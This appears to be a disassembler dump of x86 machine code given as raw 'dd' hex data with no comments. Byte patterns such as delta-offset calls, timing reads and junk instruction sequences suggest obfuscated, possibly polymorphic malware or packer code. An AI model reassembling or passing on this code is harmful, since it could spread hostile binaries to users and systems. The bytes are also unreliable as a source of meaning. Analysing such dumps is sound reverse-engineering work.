		dd 51509007h, 8F0F51h, 5F000000h, 8B60905Eh, 0E01375B5h
		dd 4E99B807h, 6A611A44h, 0D1B58B00h, 6A07E021h,	0B4BF6600h
		dd 4195FFA4h, 6A07E034h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F559C351h,	0A3939D8Dh
		dd 0D3FF07E3h, 10E952h,	18D80000h, 5798E8F5h, 5E7ACDCBh
		dd 983D9990h, 0FF5E1292h, 0E020FD85h, 45B58B07h, 0E907E034h
		dd 8A1h, 0E8h, 0ED815D00h, 7E402B1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 7DC35040h, 2850FB7h, 8B000000h
		dd 6850FF2h, 89000000h,	0E00451BDh, 91BD8107h, 0D007E013h
		dd 0F000007h, 1AB86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 0AFD17C6Dh, 18C0F28h
		dd 0FC000000h, 0E19D8Bh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 7A4964C3h, 0E38192h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 0B4B5C357h, 66ACBFA4h,	0B0A93BEh
		dd 0C2850FDBh, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 2D4BC351h, 554117Ch
		dd 197C7E0h, 0E01FBD9Dh, 8BBD8307h, 7E401h, 29840Fh, 0F18B0000h
		dd 91E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 59858998h, 0C707E02Ch, 0E4018B85h
		dd 107h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 792B65FAh, 15A1B58Bh, 3BE907E0h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 2F0CC356h, 88D0Fh, 8D0F0000h
		dd 2, 0BF0F6160h, 8B85C7FBh, 7E401h, 66000000h,	9D8DF18Bh
		dd 7E000E1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	26C35747h, 0D1015957h, 33A39FAh, 0E01CB9B5h, 66605307h
		dd 8589C38Bh, 7E01D1Dh,	11E95E61h, 1B000000h, 0E4E7D30Ch
		dd 76FDCA9Bh, 0E54E7318h, 0A14268E8h, 0FEFF2381h, 0BD8BFFFFh
		dd 7E01101h, 8BDB8C66h,	0E01BC9B5h, 4C3F607h, 49840Fh
		dd 0BE660000h, 0F88BB7D2h, 1AE995FFh, 0B06007E0h, 0AD95891Ah
		dd 6107E02Dh, 50F88B90h, 0AE9h,	4DB0ED00h, 83FCB650h, 90F0FDF4h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D9C35040h
		dd 0E95EE187h, 414h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 8FC35343h, 0FB8506D7h, 0DFDE8166h, 6A00B004h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 9836C352h, 3F778165h, 3C24A44Bh, 7E8h, 0AF0A4300h
		dd 0F0194F0Bh, 9E9h, 98FB9F00h,	8D7CE9F0h, 895E20FCh, 0E0011585h
		dd 6670E607h, 0B166D781h, 8A0F71E4h, 6,	2AA18D89h, 0B60F07E0h
		dd 199589D8h, 0BA07E018h, 6, 8D89C38Bh,	7E02065h, 6A04E8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0D7E3C352h, 0D1FA393Ah, 0BF0FD41Dh, 0E2F766FFh
		dd 3B22DE81h, 0D82B4544h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 21C35040h, 0BE850BEh,	0D3000000h, 3B590111h
		dd 108712B4h, 0BD8B81B9h, 7E013CDh, 8B66935Eh, 525050F0h
		dd 60616060h, 310F6161h, 585AFE8Bh, 85BF6693h, 91B5FF69h
		dd 6A07E013h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 29AAC357h, 767B8B8Ch, 0A995FFDEh
		dd 107E018h, 0E00729BDh, 6A00B007h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B656C351h
		dd 11E9C7AAh, 37000000h, 937CE7DBh, 9C6A85BFh, 2466DB98h
		dd 0C07CC6A6h, 6A70E6h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 1B2CBEC3h, 0E4729D8Ch, 0F613C71h
		dd 26383h, 0FFE8B00h, 0F28BD8B6h, 6BAh,	11E96000h, 2D000000h
		dd 0A384EC47h, 0A23BBF49h, 5F91671Dh, 0A0030769h
		dd 0BE9h, 923AB600h, 3071EDCCh,	6A830A3Fh, 6AC38B61h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 3337C352h, 0E012A5B5h, 4E8C107h, 6AE2F766h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0E227C351h, 0FDD3E278h, 4A1289C5h, 66D82BF9h, 58E129BFh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0A7C35646h
		dd 0CFE49BBEh, 0CE844h,	6C230000h, 2B45C976h, 6C82A419h
		dd 10E94667h, 86000000h, 19D812B7h, 0F4EBA5BBh,	3655A565h
		dd 5E816598h, 880FD82Bh, 188h, 0AF14C2BFh, 7B930h, 0C1830000h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0B2C86BF7h, 66446035h, 0FCFFBBFh, 81h, 0FD93B00h
		dd 14786h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0FCF5373h, 854AC905h, 0BD89FA37h
		dd 7E03015h, 0E8D98C66h, 11h, 0A7ECD80Fh, 3C607D6Eh, 0D38E80F3h
		dd 475F0F49h, 0EE8166CEh, 0F65EC03Ch, 840F04C1h, 0ECh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 66C35545h
		dd 7E98C993h, 95FF9912h, 7E01AE9h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0BC35747h, 0CFAE309Ah, 9AA37FB0h
		dd 10E9h, 0FA2A3800h, 34DCF5A4h, 4F709B2h, 0F2262692h
		dd 55BD893Bh, 5B07E00Fh, 1D95BD8Bh, 0C32B07E0h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 72C35242h, 0E82A963Ah
		dd 649EE147h, 8343DF8h,	860F0000h, 4Ch,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 15h, 0E6C35747h, 0E95F5060h
		dd 30h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
		dd 4FC35040h, 24EA5470h, 0C7E1AE2Ah, 0DBF3BF66h, 0B58BC08Bh
		dd 7E01AA9h, 0D88BC38Bh, 6E1B58Bh, 85C707E0h, 7E01359h
		dd 1FBB79DBh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ah,	1C35242h, 0D471C9FAh, 9D3169F7h, 7E00849h, 0B58BC08Bh
		dd 7E0090Dh, 13E8h, 70099500h, 335F5BCEh, 0FCDA4E0Eh, 728BC547h
		dd 0CE0582FFh, 7B5BD8Bh, 815E07E0h, 0E01391BDh,	7D007h
		dd 2E850F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 1CEAC357h, 0D2BBE0E9h
		dd 9185FFEAh, 8107E013h, 6BAFDECFh, 91B5FF29h, 6A07E013h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 3D7CC353h, 8E852DDh, 0AF000000h, 0D6E77FAh
		dd 5F16F695h, 0DE9h, 0DB3E9B00h, 0B839E81Ch, 0E11BAF9Ah
		dd 95FFF92Ah, 7E018A9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 2AC35141h, 1553219Fh,	2983BA4Bh, 0E000099Dh
		dd 0CE89007h, 41000000h, 0D20EEF58h, 0D527205Fh, 66406FC1h
		dd 5E21C2BEh, 0BCA3D781h, 6A5B81h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 83D80CC3h, 147BD130h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CFC35747h
		dd 668A321Dh, 0E13CF81h, 2F3D9D01h, 8B6607E0h, 0F2B70FF9h
		dd 0CE81F98Bh, 37364F8Ah, 1B51B589h, 6A07E0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 1AFD46C3h
		dd 0B7ED6243h, 0A5C9DE81h, 6A4CA6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0C3AAAAC3h
		dd 6A133EA3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 8DA2C351h, 8B661CD2h, 9D8B60F9h
		dd 7E02679h, 1B75BD89h,	858B07E0h, 7E01FA1h, 0DDBD8B61h
		dd 0E907E01Ah, 0FFFFF778h, 1941B58Bh, 896007E0h, 0E0210D8Dh
		dd 79B58B07h, 0B807E033h, 3EBC1889h, 0EBC18B61h, 4, 25BD8B00h
		dd 2907E033h, 0E0127D9Dh, 0C9858D07h, 8907E013h, 0E028D9B5h
		dd 5E575007h, 6A240489h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0A77C7BB9h, 6A006A7Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0ABDC350h, 23BEA519h, 8D661ED6h, 0E40CE885h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 5C08384h, 13E8h,	0B4255C00h, 2B67E54h, 0CDB17908h
		dd 0A413A9F8h, 10C7D3ECh, 860Fh, 905F0000h, 50FA8B66h
		dd 9930E2BFh, 6A9000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0F2989DC3h, 0D2A0228Dh, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 8E095BC3h, 770E3A3Ah, 21299509h, 6A07E0h, 13C5B58Bh
		dd 95FF07E0h, 7E03441h,	0D2BF0F60h, 21998D03h, 8D6107E0h
		dd 0E3A3939Dh, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0A3EA8D4Ah, 0BD0B5597h
		dd 7E00099h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0FF378DC3h, 0E020FD85h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 60767591h, 0B58B88BFh, 7E01AF5h, 8A1E9h, 0E800h, 815D0000h
		dd 0E40CF2EDh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 2F5C8816h, 0F5C2F9Ch
		dd 0BD81F9B7h, 7E01391h, 7D0h, 170860Fh, 81660000h, 8B7DF7C7h
		dd 0E01B1D9Dh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0B4C9773Bh, 475E9BD8h
		dd 0DE847h, 0D6490000h,	0CAD028A7h, 0B9D4704h, 8BFE03E5h
		dd 0E3815EF1h, 100h, 12E9h, 85B12100h, 0FBBDF06Ch, 0DC24C466h
		dd 22188F95h, 0BB15EFDh, 8E850FDBh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0FA2EC357h, 6684A2E0h, 837854BFh, 0E40B51BDh, 840F0007h
		dd 2Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh
		dd 63C35747h, 4B3A79F3h, 0E9B8D251h, 75h, 30B5B533h, 85C707E0h
		dd 7E40B51h, 1,	0E9F78B66h, 5Dh, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 15h, 0AC35646h, 5185C715h, 7E40Bh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 6612C352h, 0A7781D0Dh,	998E266Ah
		dd 6890Fh, 85890000h, 7E006A5h,	6EDE23BEh, 1D9D8D3Fh, 6A07E01Bh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 7F84C352h, 0E39B6D7h, 0A9BD33B4h,	8107E02Dh
		dd 0FFFEFF23h, 0EE8166FFh, 8C66C2E7h, 4C3F6DBh,	35840Fh
		dd 0FFF90000h, 0E01AE995h, 52509007h, 0D77FBF66h, 0D3BE310Fh
		dd 5A585124h, 52505058h, 25A1B5BFh, 66310F71h, 585AF78Bh
		dd 8850F90h, 0F000000h
		dd 283h, 0E9616000h, 43Fh, 2FA98D31h, 0B007E0h,	2B7DB58Bh
		dd 0B70F07E0h, 8970E6F3h, 0E02EDD95h, 6A71E407h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0E97DC351h, 11h, 0D41E6F7Fh,	0D0022EFAh, 0C958CBA4h
		dd 0A51FA5A7h, 7DBD3187h, 0F07E014h, 6AD8B6h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 411ACBC3h
		dd 5800Fh, 9DBE0000h, 2B6BD10Ch, 0E01F5DBDh, 6BA07h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 9382B5C3h, 782B2BBFh, 6AC38B75h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0AAD6C351h
		dd 89296467h, 0E00FB58Dh, 4E8C107h, 1409BD8Bh, 0F76607E0h
		dd 53006AE2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 85998849h, 6655C344h, 0DB7EF781h, 0CE9h
		dd 4A0A400h, 9A4BB565h,	72EBFBF0h, 89D82B1Fh, 0E02A01BDh
		dd 0F609307h, 28Fh, 66616000h, 614AADBEh, 0DCBF6650h, 8B669322h
		dd 91B5FFF2h, 6A07E013h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 5A1DC355h, 18A995FFh
		dd 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0BE5959C3h, 309B3A07h, 9E9h, 7B48F300h, 0BACA461Dh
		dd 0B089ECh, 5E8h, 3B2CDE00h, 5FF98699h, 2F0DBD0Bh, 70E607E0h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 45C35545h
		dd 138DB533h, 71E407E0h, 0F613CF5h, 26A83h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0F75F3FEBh, 0AEA1A8Ah, 0D1B50340h, 0F07E023h, 689h
		dd 71BD8B00h, 0F07E016h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 894B91C3h, 0E02DE18Dh
		dd 6BA07h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8BC8EDC3h, 8B6651C3h, 0E8C15EF2h
		dd 8B665704h, 0F7665EF3h, 89D82BE2h, 0E0082985h, 95895807h
		dd 7E00015h, 880FD82Bh,	1C3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 7CC35343h, 93C4B3C7h, 89B3EE27h
		dd 0E0307D8Dh, 42DE8107h, 0B961C3C4h, 7, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 1BC35242h, 92ED1F5Dh
		dd 8327FD55h, 6A00C1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0E11521C3h, 0A0C8599Ch, 0F32F938h
		dd 0D93BFABFh, 139860Fh, 0BD890000h, 7E00FD5h, 6AD98C66h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 1866C350h, 0CDA89843h, 0E9D78151h, 5E1880C7h
		dd 0F04C1F6h, 0E884h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 9123DA2Fh, 76575DE3h
		dd 0FBB70F92h, 1AE995FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0E366E0C3h, 4F0AE388h
		dd 0F5BF08Bh, 0C32BFAB7h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 83C35646h, 0C5886559h, 0DD858956h, 3D07E030h
		dd 834h, 5F860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0CFBE66C3h, 66B8B5C0h
		dd 0FFC608Bh, 58Ch, 0D8816600h,	0E961238Dh, 3Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 98C35040h, 9FE34B3Ch
		dd 89FA6720h, 0E024F5BDh, 8BC08B07h, 0E00201BDh, 7E95207h
		dd 6000000h, 738EEEAh, 8B5E82A8h, 6AD88BC3h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 9497C357h, 0BEABBE2Ah, 1249E26Bh, 0E185C7h, 9F307E0h
		dd 14E81F03h, 0D2000000h, 81BEE0C6h, 0E743F1Ah,	306D7C49h
		dd 51D7001Bh, 0FC1F646h, 58Eh, 0D6816600h, 8B5F55FDh, 55006AC0h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 85249BCEh, 0D1EC2261h, 0F9B70FBFh, 1391BD81h, 7D007E0h
		dd 850F0000h, 4Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 0D7C35343h, 85FF53A7h, 7E01391h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 6CC35545h, 0A688B062h
		dd 0FEBF0F62h, 0FFF7B70Fh, 0E01391B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 0E3F14CCh, 1A698589h, 95FF07E0h, 7E018A9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 13C35747h, 89336A42h
		dd 0E031618Dh, 6A9007h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0DF2232C3h, 0ABA4B08Eh, 0FB8B66ACh
		dd 0E5BD8B53h, 6007E01Ah, 16EDBD8Bh, 0BE6607E0h, 0BD8B94A7h
		dd 7E007A5h, 0F513C5BBh, 6A5E615Ch, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 60B2C352h
		dd 0BA55C181h, 820F0B9Bh, 0Ch, 21759D33h, 8B0F07E0h, 0
		dd 57B7D6B9h, 88B0F67h,	0BB000000h, 3017E67Ch, 61CE8B66h
		dd 53F0B70Fh, 29EDBD89h, 0A1BE07E0h, 5E43ABAEh,	675BD89h
		dd 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 782F58C3h, 9F184229h, 319D89CFh, 8B07E004h
		dd 53006AF1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 7E987h, 8AD60000h, 0A8E99B3h, 51B58B0Ch
		dd 0E807E01Ah, 8, 5E379EAh, 98529F45h, 1C14BF66h, 0AE95Eh
		dd 15A50000h, 0DDE07B8Dh, 48AC84D7h, 0FFF774E9h, 0FF18BFFh
		dd 0D85h, 49BE5000h, 5F41495Ah,	1B11BD8Bh, 0C18B07E0h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 53C35646h
		dd 0A9B049EAh, 30C6B1Bh, 3D6BC781h, 4EB3E7Bh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 73C35242h
		dd 0E665174Ah, 0B58BE1CCh, 7E02B7Dh, 2521BD29h,	858D07E0h
		dd 7E013C9h, 89FE8B50h,	6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 2EA72CC3h, 295788E5h
		dd 0E017D9BDh, 13E85E07h, 9C000000h, 8A10620Ch,	0B563B7ADh
		dd 1F6381D9h, 262CFB53h, 9D01BBA8h, 7E02C9Dh, 6A006A5Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0F6E8C353h, 0DB42AA63h, 6AFA8Bh, 0A5CE8166h
		dd 3C858D59h, 8907E417h, 0E0129995h, 5C08307h, 0F6090F9h
		dd 38Bh, 0C88B6600h, 14E8h, 7E78CE00h, 0CF8663F2h, 74E46218h
		dd 84F8B25Dh, 0BBC9F42Fh, 96B86675h, 50615995h,	0C8B4BF66h
		dd 66006A90h, 9926C781h, 9531006Ah, 7E016EDh, 344195FFh
		dd 8A0F07E0h, 0
aNauguJ		db '“£ã',7,'j',0
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 4E9776C3h, 0E7E567E1h, 0D3FF5D96h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0FBC35242h,	0FFE42BFAh, 0E020FD85h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 4E027423h, 148B27E6h, 8A2E9h, 0E800h, 815D0000h
		dd 0E41746EDh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 0EC00CA84h, 9E521DAFh
		dd 95899917h, 7E02DD5h,	34DFBE66h, 1391BD81h, 7D007E0h
		dd 860F0000h, 1ADh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 89C35242h, 988D6074h,	0DCEC3FC2h, 13E9609Dh
		dd 1C000000h, 0A22D29ADh, 731DD64Fh, 0CF1DFA3Dh, 6FDBBF29h
		dd 0B5895FBAh, 7E017B5h, 19D8B61h, 6A07E01Eh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0BAFAC355h, 54F06D3Ch, 5E86Ah, 0D990000h, 66BAC186h
		dd 5F0FD1BFh, 100E381h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 81667FC3h, 0B06F2EFh
		dd 0C0850FDBh, 0F9000000h, 0CE9h, 0AD99E000h, 0E27565C4h
		dd 157FD26Eh, 0BCBD83DFh, 7E415h, 48840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 30D942C3h, 93E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0C4165A41h, 0CC5F8E54h
		dd 85C79308h, 7E415BCh,	1, 1E17B860h, 8E93790h,	1E000000h
		dd 0F141BEA0h, 619D328Eh, 0A860Fh, 5E90000h, 0FB000000h
		dd 6837539Bh, 3BE9h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0FF928A4h, 282h, 0C7FA8B00h
		dd 0E415BC85h, 7, 0DB58900h, 6607E02Bh,	8B8FE681h, 1E019D8Dh
		dd 0B58B07E0h, 7E0059Dh, 0FEFF2381h, 0E781FFFFh, 4CB8B6E4h
		dd 9E8h, 9E98E900h, 0C5D7245Dh,	9501471Bh, 7E013B5h, 0DB8C665Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0C9C35646h
		dd 0C23544F7h, 7E8h, 0D92B500h,	0F7972591h, 60CFB160h
		dd 0F65F6161h, 840F04C3h, 3Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 1DC35646h, 59FB0EF6h, 0FD812B6Dh
		dd 0E995FFBBh, 2907E01Ah, 0E031D5BDh, 4895007h,	62BE6624h
		dd 1AE9F9EDh, 8B000004h, 0E018F5B5h, 75B58B07h,	0B007E025h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0DFA56721h, 0A62FC6EBh, 2D5DBD8Bh, 70E607E0h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 84C35343h
		dd 0DE423FB8h, 0E9A3F7BEh, 5, 56CF24D5h, 8E0FCEh, 0E4000000h
		dd 50006A71h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 17227A79h, 14E8h, 7A9CEC00h, 0C7C3EE77h
		dd 2631C300h, 0F9E9775Bh, 69C902D1h, 77C781D9h,	5E2860ABh
		dd 23D8B60Fh, 0E0107DBDh, 6BA07h, 0B70F0000h, 8BC38BF0h
		dd 0E00735B5h, 4E8C107h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 14h, 0B3C35040h, 14E9h, 63114500h,	7E59CAAFh
		dd 8A3637E1h, 88509F13h, 82307EC6h, 0E2F76680h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 2FDD8589h
		dd 0D82B07E0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	0E5C35646h, 9D99303Bh, 0C7076D7Dh, 0AE9D4h, 195D0000h
		dd 61B42056h, 0FDEDA0C3h, 0F08B6650h, 0E9241C89h, 8, 0B35A4CFBh
		dd 27622DE9h, 1391B5FFh, 6A07E0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0FF1C41C3h, 0E018A995h
		dd 19B58B07h, 0B007E010h, 30BF6600h, 6A70E6B6h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0F7D4C356h, 2A2DB58Bh, 0E4FC07E0h, 1DB58B71h, 3C07E005h
		dd 42830F61h, 6A000002h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 78DC350h, 4C1943A7h
		dd 0BF66DDF0h, 0B60F5957h, 0EF8166D8h, 6BA3114h, 29000000h
		dd 0E023259Dh, 0E9C38B07h, 10h,	8BAB01F3h, 0A4840F68h
		dd 449DD6CFh, 3005241Bh, 4E8C1F8h, 0D7EF03BFh, 0E2F76660h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h
		dd 8CCF3A85h, 0C36D2171h, 85BF664Ch, 6AD82B2Bh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 5842C352h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	5DC35242h, 7F38F67Fh, 3DB58B7Bh, 2B07E025h, 6E880FD8h
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0A158C357h, 71B43060h,	335105D9h
		dd 0E02945B5h, 860F5E07h, 6, 33A1B58Bh,	7B907E0h, 0F5000000h
		dd 779BD8Bh, 0C18307E0h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0F96DA781h, 0F9514C1Dh
		dd 0FD93B5Fh, 0FC86h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 366A9772h, 9D89C607h
		dd 7E001BDh, 6AD98C66h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 6552C355h, 0B89AC33h
		dd 4DB58B91h, 0F607E006h, 840F04C1h, 8Ah, 10E9h, 0ECF67B00h
		dd 38971045h, 2C140B66h, 0BE5BBFA9h, 0E995FFEAh, 6A07E01Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 3FF6C356h, 8B0D8FB0h, 0BF665BF3h,	0C32B713Fh
		dd 8219D01h, 343D07E0h,	0F000008h, 3586h, 0B5950100h, 0E907E028h
		dd 41h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h
		dd 0B1C35545h, 8D293F44h, 7E00901h, 157D9D29h, 0C08B07E0h
		dd 10E9h, 0D5BFE300h, 7A12949h,	0A1FF670Bh, 994D9BFDh
		dd 8BC38B50h, 9D0150D8h, 7E02419h, 1D85C75Eh, 3F07E01Bh
		dd 6A13C22Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 3ECDC357h, 0A5B58B60h,	0F807E008h
		dd 5E961h, 0A23E0000h, 8B44BC02h, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0D003135h
		dd 57922707h, 1D11BD01h, 0BD8107E0h, 7E01391h, 7D0h, 3E850Fh
